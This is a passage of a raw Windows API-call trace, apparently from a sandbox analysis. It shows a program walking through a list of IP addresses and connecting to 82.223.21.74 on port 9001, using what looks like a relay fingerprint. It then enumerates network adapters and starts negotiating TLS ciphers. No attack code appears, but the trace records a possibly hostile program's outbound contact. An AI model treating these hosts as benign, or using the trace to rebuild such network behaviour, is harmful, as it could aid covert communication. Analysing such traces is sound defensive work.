0x599b4b22 [0118.774] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.774] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.774] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.774] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.774] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.774] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.774] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.774] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.774] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.774] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.774] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.774] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.774] htonl (hostlong=0xc1abca92) returned 0x92caabc1 [0118.774] htonl (hostlong=0xc1abca92) returned 0x92caabc1 [0118.774] htonl (hostlong=0xc1abca92) returned 0x92caabc1 [0118.774] htonl (hostlong=0x5096eec) returned 0xec6e0905 [0118.774] htonl (hostlong=0x5096eec) returned 0xec6e0905 [0118.774] htonl (hostlong=0x5096eec) returned 0xec6e0905 [0118.774] htonl (hostlong=0x5275cc7) returned 0xc75c2705 [0118.774] htonl (hostlong=0x5275cc7) returned 0xc75c2705 [0118.774] htonl (hostlong=0x5275cc7) returned 0xc75c2705 [0118.774] htonl (hostlong=0x5c4587a) returned 0x7a58c405 [0118.774] htonl (hostlong=0x5c4587a) returned 0x7a58c405 [0118.774] htonl (hostlong=0x5c4587a) returned 0x7a58c405 [0118.775] htonl (hostlong=0xb23ec552) returned 0x52c53eb2 [0118.775] htonl (hostlong=0xb23ec552) returned 0x52c53eb2 [0118.775] htonl (hostlong=0xb23ec552) returned 0x52c53eb2 [0118.775] htonl (hostlong=0xb220d892) returned 0x92d820b2 [0118.775] htonl (hostlong=0xb220d892) returned 0x92d820b2 [0118.775] htonl (hostlong=0xb220d892) returned 0x92d820b2 [0118.775] htonl (hostlong=0x2e6597de) returned 0xde97652e [0118.775] htonl (hostlong=0x2e6597de) returned 0xde97652e [0118.775] htonl (hostlong=0x2e6597de) returned 0xde97652e [0118.775] htonl (hostlong=0x5bdbede5) returned 0xe5eddb5b [0118.775] htonl (hostlong=0x5bdbede5) returned 0xe5eddb5b [0118.775] htonl (hostlong=0x5bdbede5) returned 0xe5eddb5b [0118.775] htonl (hostlong=0xd42fe502) returned 0x2e52fd4 [0118.775] htonl (hostlong=0xd42fe502) returned 0x2e52fd4 [0118.775] htonl (hostlong=0xd42fe502) returned 0x2e52fd4 [0118.775] htonl (hostlong=0xb93d8a12) returned 0x128a3db9 [0118.775] htonl (hostlong=0xb93d8a12) returned 0x128a3db9 [0118.775] htonl (hostlong=0xb93d8a12) returned 0x128a3db9 [0118.775] htonl (hostlong=0x904c1aaf) returned 0xaf1a4c90 [0118.775] htonl (hostlong=0x904c1aaf) returned 0xaf1a4c90 [0118.775] htonl (hostlong=0x904c1aaf) returned 0xaf1a4c90 [0118.775] htonl (hostlong=0x3ed27c7c) returned 0x7c7cd23e [0118.775] htonl (hostlong=0x3ed27c7c) returned 0x7c7cd23e [0118.775] htonl (hostlong=0x3ed27c7c) returned 0x7c7cd23e [0118.775] htonl (hostlong=0xd53d4276) returned 0x76423dd5 [0118.775] htonl (hostlong=0xd53d4276) returned 0x76423dd5 [0118.775] htonl (hostlong=0xd53d4276) returned 0x76423dd5 [0118.775] htonl (hostlong=0xd4539a21) returned 0x219a53d4 [0118.775] htonl (hostlong=0xd4539a21) returned 0x219a53d4 [0118.775] htonl (hostlong=0xd4539a21) returned 0x219a53d4 [0118.776] htonl (hostlong=0x6d696da2) returned 0xa26d696d [0118.776] htonl (hostlong=0x6d696da2) returned 0xa26d696d [0118.776] htonl (hostlong=0x6d696da2) returned 0xa26d696d [0118.776] htonl (hostlong=0x92002090) returned 0x90200092 [0118.776] htonl (hostlong=0x92002090) returned 0x90200092 [0118.776] htonl (hostlong=0x92002090) returned 0x90200092 [0118.776] htonl (hostlong=0xd94fbe19) returned 0x19be4fd9 [0118.776] htonl (hostlong=0xd94fbe19) returned 0x19be4fd9 [0118.776] htonl (hostlong=0xd94fbe19) returned 0x19be4fd9 [0118.776] htonl (hostlong=0x3ed25c0b) returned 0xb5cd23e [0118.776] htonl (hostlong=0x3ed25c0b) returned 0xb5cd23e [0118.776] htonl (hostlong=0x3ed25c0b) returned 0xb5cd23e [0118.776] htonl (hostlong=0xc632bf5f) returned 0x5fbf32c6 [0118.776] htonl (hostlong=0xc632bf5f) returned 0x5fbf32c6 [0118.776] htonl (hostlong=0xc632bf5f) returned 0x5fbf32c6 [0118.776] htonl (hostlong=0xa4844daf) returned 0xaf4d84a4 [0118.776] htonl (hostlong=0xa4844daf) returned 0xaf4d84a4 [0118.776] htonl (hostlong=0xa4844daf) returned 0xaf4d84a4 [0118.776] htonl (hostlong=0xb00a6bb4) returned 0xb46b0ab0 [0118.776] htonl (hostlong=0xb00a6bb4) returned 0xb46b0ab0 [0118.776] htonl (hostlong=0xb00a6bb4) returned 0xb46b0ab0 [0118.776] htonl (hostlong=0x25bb66ba) returned 0xba66bb25 [0118.776] htonl (hostlong=0x25bb66ba) returned 0xba66bb25 [0118.776] htonl (hostlong=0x25bb66ba) returned 0xba66bb25 [0118.776] htonl (hostlong=0xbca5c2c3) returned 0xc3c2a5bc [0118.776] htonl (hostlong=0xbca5c2c3) returned 0xc3c2a5bc [0118.776] htonl (hostlong=0xbca5c2c3) returned 0xc3c2a5bc [0118.776] htonl (hostlong=0x6c35d09d) returned 0x9dd0356c [0118.777] htonl (hostlong=0x6c35d09d) returned 0x9dd0356c [0118.777] htonl (hostlong=0x6c35d09d) returned 0x9dd0356c [0118.777] htonl (hostlong=0xd433867b) returned 0x7b8633d4 [0118.777] htonl (hostlong=0xd433867b) returned 0x7b8633d4 [0118.777] htonl (hostlong=0xd433867b) returned 0x7b8633d4 [0118.777] htonl (hostlong=0x5e17ccaf) returned 0xafcc175e [0118.777] htonl (hostlong=0x5e17ccaf) returned 0xafcc175e [0118.777] htonl (hostlong=0x5e17ccaf) returned 0xafcc175e [0118.777] htonl (hostlong=0x6da3ea09) returned 0x9eaa36d [0118.777] htonl (hostlong=0x6da3ea09) returned 0x9eaa36d [0118.777] htonl (hostlong=0x6da3ea09) returned 0x9eaa36d [0118.777] htonl (hostlong=0xb9156432) returned 0x326415b9 [0118.777] htonl (hostlong=0xb9156432) returned 0x326415b9 [0118.777] htonl (hostlong=0xb9156432) returned 0x326415b9 [0118.777] htonl (hostlong=0x4e8e8ef6) returned 0xf68e8e4e [0118.777] htonl (hostlong=0x4e8e8ef6) returned 0xf68e8e4e [0118.777] htonl (hostlong=0x4e8e8ef6) returned 0xf68e8e4e [0118.777] htonl (hostlong=0xb210d03e) returned 0x3ed010b2 [0118.777] htonl (hostlong=0xb210d03e) returned 0x3ed010b2 [0118.777] htonl (hostlong=0xb210d03e) returned 0x3ed010b2 [0118.777] htonl (hostlong=0x5f802ba4) returned 0xa42b805f [0118.777] htonl (hostlong=0x5f802ba4) returned 0xa42b805f [0118.777] htonl (hostlong=0x5f802ba4) returned 0xa42b805f [0118.777] htonl (hostlong=0x59bb8ed0) returned 0xd08ebb59 [0118.777] htonl (hostlong=0x59bb8ed0) returned 0xd08ebb59 [0118.777] htonl (hostlong=0x59bb8ed0) returned 0xd08ebb59 [0118.777] htonl (hostlong=0xb01fbf1a) returned 0x1abf1fb0 [0118.777] htonl (hostlong=0xb01fbf1a) returned 0x1abf1fb0 [0118.777] htonl (hostlong=0xb01fbf1a) returned 0x1abf1fb0 [0118.778] htonl (hostlong=0x2e65edf6) returned 0xf6ed652e [0118.778] htonl (hostlong=0x2e65edf6) returned 0xf6ed652e [0118.778] htonl (hostlong=0x2e65edf6) returned 0xf6ed652e [0118.778] htonl (hostlong=0xb90bb443) returned 0x43b40bb9 [0118.778] htonl (hostlong=0xb90bb443) returned 0x43b40bb9 [0118.778] htonl (hostlong=0xb90bb443) returned 0x43b40bb9 [0118.778] htonl (hostlong=0x3ed281f6) returned 0xf681d23e [0118.778] htonl (hostlong=0x3ed281f6) returned 0xf681d23e [0118.778] htonl (hostlong=0x3ed281f6) returned 0xf681d23e [0118.778] htonl (hostlong=0x52df154a) returned 0x4a15df52 [0118.778] htonl (hostlong=0x52df154a) returned 0x4a15df52 [0118.778] htonl (hostlong=0x52df154a) returned 0x4a15df52 [0118.778] htonl (hostlong=0xc0a066a4) returned 0xa466a0c0 [0118.778] htonl (hostlong=0xc0a066a4) returned 0xa466a0c0 [0118.778] htonl (hostlong=0xc0a066a4) returned 0xa466a0c0 [0118.778] htonl (hostlong=0xc0571c52) returned 0x521c57c0 [0118.778] htonl (hostlong=0xc0571c52) returned 0x521c57c0 [0118.778] htonl (hostlong=0xc0571c52) returned 0x521c57c0 [0118.778] htonl (hostlong=0xa3ac8a16) returned 0x168aaca3 [0118.778] htonl (hostlong=0xa3ac8a16) returned 0x168aaca3 [0118.778] htonl (hostlong=0xa3ac8a16) returned 0x168aaca3 [0118.778] htonl (hostlong=0x5db49c54) returned 0x549cb45d [0118.778] htonl (hostlong=0x5db49c54) returned 0x549cb45d [0118.778] htonl (hostlong=0x5db49c54) returned 0x549cb45d [0118.778] htonl (hostlong=0x97502a67) returned 0x672a5097 [0118.778] htonl (hostlong=0x97502a67) returned 0x672a5097 [0118.778] htonl (hostlong=0x97502a67) returned 0x672a5097 [0118.778] htonl (hostlong=0x54f44a1) returned 0xa1444f05 [0118.778] htonl (hostlong=0x54f44a1) returned 0xa1444f05 [0118.778] htonl (hostlong=0x54f44a1) returned 0xa1444f05 [0118.779] htonl (hostlong=0x33ff2941) returned 0x4129ff33 [0118.779] htonl (hostlong=0x33ff2941) returned 0x4129ff33 [0118.779] htonl (hostlong=0x33ff2941) returned 0x4129ff33 [0118.779] htonl (hostlong=0x5bdbedf4) returned 0xf4eddb5b [0118.779] htonl (hostlong=0x5bdbedf4) returned 0xf4eddb5b [0118.779] htonl (hostlong=0x5bdbedf4) returned 0xf4eddb5b [0118.779] htonl (hostlong=0x55d6cedb) returned 0xdbced655 [0118.779] htonl (hostlong=0x55d6cedb) returned 0xdbced655 [0118.779] htonl (hostlong=0x55d6cedb) returned 0xdbced655 [0118.779] htonl (hostlong=0x51070a5d) returned 0x5d0a0751 [0118.779] htonl (hostlong=0x51070a5d) returned 0x5d0a0751 [0118.779] htonl (hostlong=0x51070a5d) returned 0x5d0a0751 [0118.779] htonl (hostlong=0x2e1c6ef4) returned 0xf46e1c2e [0118.779] htonl (hostlong=0x2e1c6ef4) returned 0xf46e1c2e [0118.779] htonl (hostlong=0x2e1c6ef4) returned 0xf46e1c2e [0118.779] htonl (hostlong=0x2ea5e605) returned 0x5e6a52e [0118.779] htonl (hostlong=0x2ea5e605) returned 0x5e6a52e [0118.779] htonl (hostlong=0x2ea5e605) returned 0x5e6a52e [0118.779] htonl (hostlong=0xab19c14d) returned 0x4dc119ab [0118.779] htonl (hostlong=0xab19c14d) returned 0x4dc119ab [0118.779] htonl (hostlong=0xab19c14d) returned 0x4dc119ab [0118.779] htonl (hostlong=0xb0090574) returned 0x740509b0 [0118.779] htonl (hostlong=0xb0090574) returned 0x740509b0 [0118.779] htonl (hostlong=0xb0090574) returned 0x740509b0 [0118.779] htonl (hostlong=0xc0223f89) returned 0x893f22c0 [0118.779] htonl (hostlong=0xc0223f89) returned 0x893f22c0 [0118.779] htonl (hostlong=0xc0223f89) returned 0x893f22c0 [0118.779] htonl (hostlong=0x563b7758) returned 0x58773b56 [0118.779] htonl (hostlong=0x563b7758) returned 0x58773b56 [0118.780] htonl (hostlong=0x563b7758) returned 0x58773b56 [0118.780] htonl (hostlong=0xa3ac8358) returned 0x5883aca3 [0118.780] htonl (hostlong=0xa3ac8358) returned 0x5883aca3 [0118.780] htonl (hostlong=0xa3ac8358) returned 0x5883aca3 [0118.780] htonl (hostlong=0xb2fe2c87) returned 0x872cfeb2 [0118.780] htonl (hostlong=0xb2fe2c87) returned 0x872cfeb2 [0118.780] htonl (hostlong=0xb2fe2c87) returned 0x872cfeb2 [0118.780] htonl (hostlong=0x25bb074a) returned 0x4a07bb25 [0118.780] htonl (hostlong=0x25bb074a) returned 0x4a07bb25 [0118.780] htonl (hostlong=0x25bb074a) returned 0x4a07bb25 [0118.780] htonl (hostlong=0xd4813ee8) returned 0xe83e81d4 [0118.780] htonl (hostlong=0xd4813ee8) returned 0xe83e81d4 [0118.780] htonl (hostlong=0xd4813ee8) returned 0xe83e81d4 [0118.780] htonl (hostlong=0xb942fa8d) returned 0x8dfa42b9 [0118.780] htonl (hostlong=0xb942fa8d) returned 0x8dfa42b9 [0118.780] htonl (hostlong=0xb942fa8d) returned 0x8dfa42b9 [0118.780] htonl (hostlong=0xc10b722e) returned 0x2e720bc1 [0118.780] htonl (hostlong=0xc10b722e) returned 0x2e720bc1 [0118.780] htonl (hostlong=0xc10b722e) returned 0x2e720bc1 [0118.780] htonl (hostlong=0xc5e7ddd3) returned 0xd3dde7c5 [0118.780] htonl (hostlong=0xc5e7ddd3) returned 0xd3dde7c5 [0118.780] htonl (hostlong=0xc5e7ddd3) returned 0xd3dde7c5 [0118.780] htonl (hostlong=0xc6609b03) returned 0x39b60c6 [0118.780] htonl (hostlong=0xc6609b03) returned 0x39b60c6 [0118.780] htonl (hostlong=0xc6609b03) returned 0x39b60c6 [0118.780] htonl (hostlong=0x94fbbee5) returned 0xe5befb94 [0118.780] htonl (hostlong=0x94fbbee5) returned 0xe5befb94 [0118.780] htonl (hostlong=0x94fbbee5) returned 0xe5befb94 [0118.780] htonl (hostlong=0xbc8a703c) returned 0x3c708abc [0118.780] htonl (hostlong=0xbc8a703c) returned 0x3c708abc [0118.781] htonl (hostlong=0xbc8a703c) returned 0x3c708abc [0118.781] htonl (hostlong=0xc39a4f80) returned 0x804f9ac3 [0118.781] htonl (hostlong=0xc39a4f80) returned 0x804f9ac3 [0118.781] htonl (hostlong=0xc39a4f80) returned 0x804f9ac3 [0118.781] htonl (hostlong=0x253b2e9f) returned 0x9f2e3b25 [0118.781] htonl (hostlong=0x253b2e9f) returned 0x9f2e3b25 [0118.781] htonl (hostlong=0x253b2e9f) returned 0x9f2e3b25 [0118.781] htonl (hostlong=0x5b793608) returned 0x836795b [0118.781] htonl (hostlong=0x5b793608) returned 0x836795b [0118.781] htonl (hostlong=0x5b793608) returned 0x836795b [0118.781] htonl (hostlong=0xb23ec7e2) returned 0xe2c73eb2 [0118.781] htonl (hostlong=0xb23ec7e2) returned 0xe2c73eb2 [0118.781] htonl (hostlong=0xb23ec7e2) returned 0xe2c73eb2 [0118.781] htonl (hostlong=0x867703a4) returned 0xa4037786 [0118.781] htonl (hostlong=0x867703a4) returned 0xa4037786 [0118.781] htonl (hostlong=0x867703a4) returned 0xa4037786 [0118.781] htonl (hostlong=0xb90d264b) returned 0x4b260db9 [0118.781] htonl (hostlong=0xb90d264b) returned 0x4b260db9 [0118.781] htonl (hostlong=0xb90d264b) returned 0x4b260db9 [0118.781] htonl (hostlong=0x25bb739d) returned 0x9d73bb25 [0118.781] htonl (hostlong=0x25bb739d) returned 0x9d73bb25 [0118.781] htonl (hostlong=0x25bb739d) returned 0x9d73bb25 [0118.781] htonl (hostlong=0x25dda2e2) returned 0xe2a2dd25 [0118.781] htonl (hostlong=0x25dda2e2) returned 0xe2a2dd25 [0118.781] htonl (hostlong=0x25dda2e2) returned 0xe2a2dd25 [0118.781] htonl (hostlong=0xc1233435) returned 0x353423c1 [0118.781] htonl (hostlong=0xc1233435) returned 0x353423c1 [0118.781] htonl (hostlong=0xc1233435) returned 0x353423c1 [0118.781] htonl (hostlong=0xb23eadcb) returned 0xcbad3eb2 [0118.782] htonl (hostlong=0xb23eadcb) returned 0xcbad3eb2 [0118.782] htonl (hostlong=0xb23eadcb) returned 0xcbad3eb2 [0118.782] htonl (hostlong=0x522b7cd) returned 0xcdb72205 [0118.782] htonl (hostlong=0x522b7cd) returned 0xcdb72205 [0118.782] htonl (hostlong=0x522b7cd) returned 0xcdb72205 [0118.782] htonl (hostlong=0x2efc1a02) returned 0x21afc2e [0118.782] htonl (hostlong=0x2efc1a02) returned 0x21afc2e [0118.782] htonl (hostlong=0x2efc1a02) returned 0x21afc2e [0118.782] htonl (hostlong=0x83bc28bc) returned 0xbc28bc83 [0118.782] htonl (hostlong=0x83bc28bc) returned 0xbc28bc83 [0118.782] htonl (hostlong=0x83bc28bc) returned 0xbc28bc83 [0118.782] htonl (hostlong=0x5bdbecde) returned 0xdeecdb5b [0118.782] htonl (hostlong=0x5bdbecde) returned 0xdeecdb5b [0118.782] htonl (hostlong=0x5bdbecde) returned 0xdeecdb5b [0118.782] htonl (hostlong=0x5ef2f617) returned 0x17f6f25e [0118.782] htonl (hostlong=0x5ef2f617) returned 0x17f6f25e [0118.782] htonl (hostlong=0x5ef2f617) returned 0x17f6f25e [0118.782] htonl (hostlong=0x2e658fad) returned 0xad8f652e [0118.782] htonl (hostlong=0x2e658fad) returned 0xad8f652e [0118.782] htonl (hostlong=0x2e658fad) returned 0xad8f652e [0118.782] htonl (hostlong=0xc0bb7c62) returned 0x627cbbc0 [0118.782] htonl (hostlong=0xc0bb7c62) returned 0x627cbbc0 [0118.782] htonl (hostlong=0xc0bb7c62) returned 0x627cbbc0 [0118.782] htonl (hostlong=0xc10ba4f3) returned 0xf3a40bc1 [0118.782] htonl (hostlong=0xc10ba4f3) returned 0xf3a40bc1 [0118.782] htonl (hostlong=0xc10ba4f3) returned 0xf3a40bc1 [0118.782] htonl (hostlong=0x801f0027) returned 0x27001f80 [0118.782] htonl (hostlong=0x801f0027) returned 0x27001f80 [0118.782] htonl (hostlong=0x801f0027) returned 0x27001f80 [0118.783] htonl (hostlong=0x563b1526) returned 0x26153b56 [0118.783] htonl (hostlong=0x563b1526) returned 0x26153b56 [0118.783] htonl (hostlong=0x563b1526) returned 0x26153b56 [0118.783] htonl (hostlong=0xc26dced4) returned 0xd4ce6dc2 [0118.783] htonl (hostlong=0xc26dced4) returned 0xd4ce6dc2 [0118.783] htonl (hostlong=0xc26dced4) returned 0xd4ce6dc2 [0118.783] htonl (hostlong=0x83bc28bd) returned 0xbd28bc83 [0118.783] htonl (hostlong=0x83bc28bd) returned 0xbd28bc83 [0118.783] htonl (hostlong=0x83bc28bd) returned 0xbd28bc83 [0118.783] htonl (hostlong=0xc117f4f4) returned 0xf4f417c1 [0118.783] htonl (hostlong=0xc117f4f4) returned 0xf4f417c1 [0118.783] htonl (hostlong=0xc117f4f4) returned 0xf4f417c1 [0118.783] htonl (hostlong=0xab19c109) returned 0x9c119ab [0118.783] htonl (hostlong=0xab19c109) returned 0x9c119ab [0118.783] htonl (hostlong=0xab19c109) returned 0x9c119ab [0118.783] htonl (hostlong=0x9a23afe1) returned 0xe1af239a [0118.783] htonl (hostlong=0x9a23afe1) returned 0xe1af239a [0118.783] htonl (hostlong=0x9a23afe1) returned 0xe1af239a [0118.783] htonl (hostlong=0xc7feee34) returned 0x34eefec7 [0118.783] htonl (hostlong=0xc7feee34) returned 0x34eefec7 [0118.783] htonl (hostlong=0xc7feee34) returned 0x34eefec7 [0118.783] htonl (hostlong=0x52df154a) returned 0x4a15df52 [0118.783] htonl (hostlong=0x4a15df52) returned 0x52df154a [0118.783] _vsnprintf (in: _DstBuf=0x36f1ac, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f04c | out: _DstBuf="82.223.21.74") returned 12 [0118.784] htonl (hostlong=0x100007f) returned 0x7f000001 [0118.784] htonl (hostlong=0x100007f) returned 0x7f000001 [0118.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5d0 | out: lpSystemTimeAsFileTime=0x36f5d0*(dwLowDateTime=0x3d520c90, dwHighDateTime=0x1d31ac1)) [0118.784] select (in: nfds=2, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0118.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d520c90, dwHighDateTime=0x1d31ac1)) [0118.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5d0 | out: lpSystemTimeAsFileTime=0x36f5d0*(dwLowDateTime=0x3d520c90, dwHighDateTime=0x1d31ac1)) [0118.784] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f440 | out: lpSystemTimeAsFileTime=0x36f440*(dwLowDateTime=0x3d520c90, dwHighDateTime=0x1d31ac1)) [0118.784] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.784] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f4e0 | out: lpSystemTimeAsFileTime=0x36f4e0*(dwLowDateTime=0x3d520c90, dwHighDateTime=0x1d31ac1)) [0118.784] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.784] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.784] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.784] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.784] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.784] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.784] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5c0 | out: lpSystemTimeAsFileTime=0x36f5c0*(dwLowDateTime=0x3d520c90, dwHighDateTime=0x1d31ac1)) [0118.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5c0 | out: lpSystemTimeAsFileTime=0x36f5c0*(dwLowDateTime=0x3d520c90, dwHighDateTime=0x1d31ac1)) [0118.784] strlen (_Str="7A32C9519D80CA458FC8B034A28F5F6815649A98") returned 0x28 [0118.784] htonl (hostlong=0x52df154a) returned 0x4a15df52 [0118.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f4f0 | out: lpSystemTimeAsFileTime=0x36f4f0*(dwLowDateTime=0x3d520c90, dwHighDateTime=0x1d31ac1)) [0118.784] htonl (hostlong=0x4a15df52) returned 0x52df154a [0118.784] _vsnprintf (in: _DstBuf=0x1190fa1, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f35c | out: _DstBuf="82.223.21.74") returned 12 [0118.784] htonl (hostlong=0x4a15df52) returned 0x52df154a [0118.784] strlen (_Str="~7A32C9519D80CA458FC") returned 0x14 [0118.785] htonl (hostlong=0x4a15df52) returned 0x52df154a [0118.785] _vsnprintf (in: _DstBuf=0x1190fa1, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f34c | out: _DstBuf="82.223.21.74") returned 12 [0118.785] htonl (hostlong=0x4a15df52) returned 0x52df154a [0118.785] htonl (hostlong=0x4a15df52) returned 0x52df154a [0118.785] htonl (hostlong=0x4a15df52) returned 0x52df154a [0118.785] _vsnprintf (in: _DstBuf=0x36f35c, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f1fc | out: _DstBuf="82.223.21.74") returned 12 [0118.785] htonl (hostlong=0x4a15df52) returned 0x52df154a [0118.785] htonl (hostlong=0x4a15df52) returned 0x52df154a [0118.785] htonl (hostlong=0x4a15df52) returned 0x52df154a [0118.785] htons (hostshort=0x2329) returned 0x2923 [0118.785] socket (af=2, type=1, protocol=6) returned 0x1d4 [0118.785] ioctlsocket (in: s=0x1d4, cmd=-2147195266, argp=0x36f158 | out: argp=0x36f158) returned 0 [0118.785] connect (s=0x1d4, name=0x36f2e8*(sa_family=2, sin_port=0x2329, sin_addr="82.223.21.74"), namelen=16) returned -1 [0118.786] WSAGetLastError () returned 10035 [0118.786] getsockopt (in: s=0x1d4, level=65535, optname=4103, optval=0x36f1f0, optlen=0x36f1f4 | out: optval="", optlen=0x36f1f4) returned 0 [0118.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5f8 | out: lpSystemTimeAsFileTime=0x36f5f8*(dwLowDateTime=0x3d546df0, dwHighDateTime=0x1d31ac1)) [0118.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f658 | out: lpSystemTimeAsFileTime=0x36f658*(dwLowDateTime=0x3d546df0, dwHighDateTime=0x1d31ac1)) [0118.786] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0118.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d546df0, dwHighDateTime=0x1d31ac1)) [0118.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36e3d0 | out: lpSystemTimeAsFileTime=0x36e3d0*(dwLowDateTime=0x3d546df0, dwHighDateTime=0x1d31ac1)) [0118.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5f8 | out: lpSystemTimeAsFileTime=0x36f5f8*(dwLowDateTime=0x3d546df0, dwHighDateTime=0x1d31ac1)) [0118.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5f8 | out: lpSystemTimeAsFileTime=0x36f5f8*(dwLowDateTime=0x3d546df0, dwHighDateTime=0x1d31ac1)) [0118.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f658 | out: lpSystemTimeAsFileTime=0x36f658*(dwLowDateTime=0x3d546df0, dwHighDateTime=0x1d31ac1)) [0118.786] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0118.843] rand () returned 19169 [0118.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d5b9210, dwHighDateTime=0x1d31ac1)) [0118.844] getsockopt (in: s=0x1d4, level=65535, optname=4103, optval=0x36f5b0, optlen=0x36f5b4 | out: optval="", optlen=0x36f5b4) returned 0 [0118.844] getsockname (in: s=0x1d4, name=0x36f498, namelen=0x36f448 | out: name=0x36f498*(sa_family=2, sin_port=0xc018, sin_addr="192.168.0.153"), namelen=0x36f448) returned 0 [0118.844] GetSystemDirectoryA (in: lpBuffer=0x36f1a8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0118.844] strlen (_Str="iphlpapi.dll") returned 0xc [0118.844] _mbscat (in: param_1=0x36f1a8, param_2=0x1165931 | out: param_1=0x36f1a8) returned 0x36f1a8 [0118.844] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\iphlpapi.dll") returned 0x75230000 [0118.844] GetProcAddress (hModule=0x75230000, lpProcName="GetAdaptersAddresses") returned 0x75236a4d [0118.844] GetAdaptersAddresses () returned 0x0 [0118.889] FreeLibrary (hLibModule=0x75230000) returned 1 [0118.889] htonl (hostlong=0x9900a8c0) returned 0xc0a80099 [0118.889] htonl (hostlong=0x9900a8c0) returned 0xc0a80099 [0118.889] htonl (hostlong=0x100007f) returned 0x7f000001 [0118.889] htonl (hostlong=0x9900a8c0) returned 0xc0a80099 [0118.889] GetSystemDirectoryA (in: lpBuffer=0x36f1a8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0118.889] strlen (_Str="iphlpapi.dll") returned 0xc [0118.889] _mbscat (in: param_1=0x36f1a8, param_2=0x1165931 | out: param_1=0x36f1a8) returned 0x36f1a8 [0118.889] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\iphlpapi.dll") returned 0x75230000 [0118.889] GetProcAddress (hModule=0x75230000, lpProcName="GetAdaptersAddresses") returned 0x75236a4d [0118.889] GetAdaptersAddresses () returned 0x0 [0118.895] FreeLibrary (hLibModule=0x75230000) returned 1 [0118.895] htonl (hostlong=0x9900a8c0) returned 0xc0a80099 [0118.895] htonl (hostlong=0x9900a8c0) returned 0xc0a80099 [0118.895] htonl (hostlong=0x100007f) returned 0x7f000001 [0118.895] htonl (hostlong=0x9900a8c0) returned 0xc0a80099 [0118.895] htonl (hostlong=0x9900a8c0) returned 0xc0a80099 [0118.895] htonl (hostlong=0x9900a8c0) returned 0xc0a80099 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ECDHE-RSA-AES256-GCM-SHA384", _MaxCount=0x1d) returned -13 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ECDHE-ECDSA-AES256-GCM-SHA384", _MaxCount=0x1d) returned -1 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ECDHE-RSA-AES256-SHA384", _MaxCount=0x1d) returned -13 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ECDHE-ECDSA-AES256-SHA384", _MaxCount=0x1d) returned -1 [0118.896] strncmp (_Str1="ECDHE-ECDSA-AES128-GCM-SHA256", _Str2="ECDHE-RSA-AES256-SHA", _MaxCount=0x1d) returned -13 [0118.896] strncmp 